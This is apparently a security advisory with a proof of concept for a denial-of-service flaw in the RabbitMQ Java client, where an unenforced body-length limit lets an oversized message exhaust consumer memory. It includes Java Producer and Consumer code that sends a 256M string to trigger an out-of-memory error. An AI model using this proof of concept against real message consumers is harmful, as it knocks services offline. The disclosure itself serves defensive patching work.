Summary
maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.
PoC
RbbitMQ
- Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
- Start RabbitMQ
Producer
- Build a String of length 256M and send it to Consumer
package org.springframework.amqp.helloworld;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Producer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
String s = "A";
for(int i=0;i<28;++i){
s = s + s;
System.out.println(i);
}
amqpTemplate.convertAndSend(s);
System.out.println("Send Finish");
}
}
Consumer
- First set the heap memory size to 128M
- Read the message sent by the Producer from the MQ and print the length
package org.springframework.amqp.helloworld;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Consumer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
Object o = amqpTemplate.receiveAndConvert();
if(o != null){
String s = o.toString();
System.out.println("Received Length : " + s.length());
}else{
System.out.println("null");
}
}
}
Results
- Run the Producer first, then the Consumer
- Consumer throws OOM Exception
Impact
Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.
References
LianKee Reporter
Summary
maxBodyLebgthwas not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.PoC
RbbitMQ
Producer
Consumer
Results
Impact
Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.
References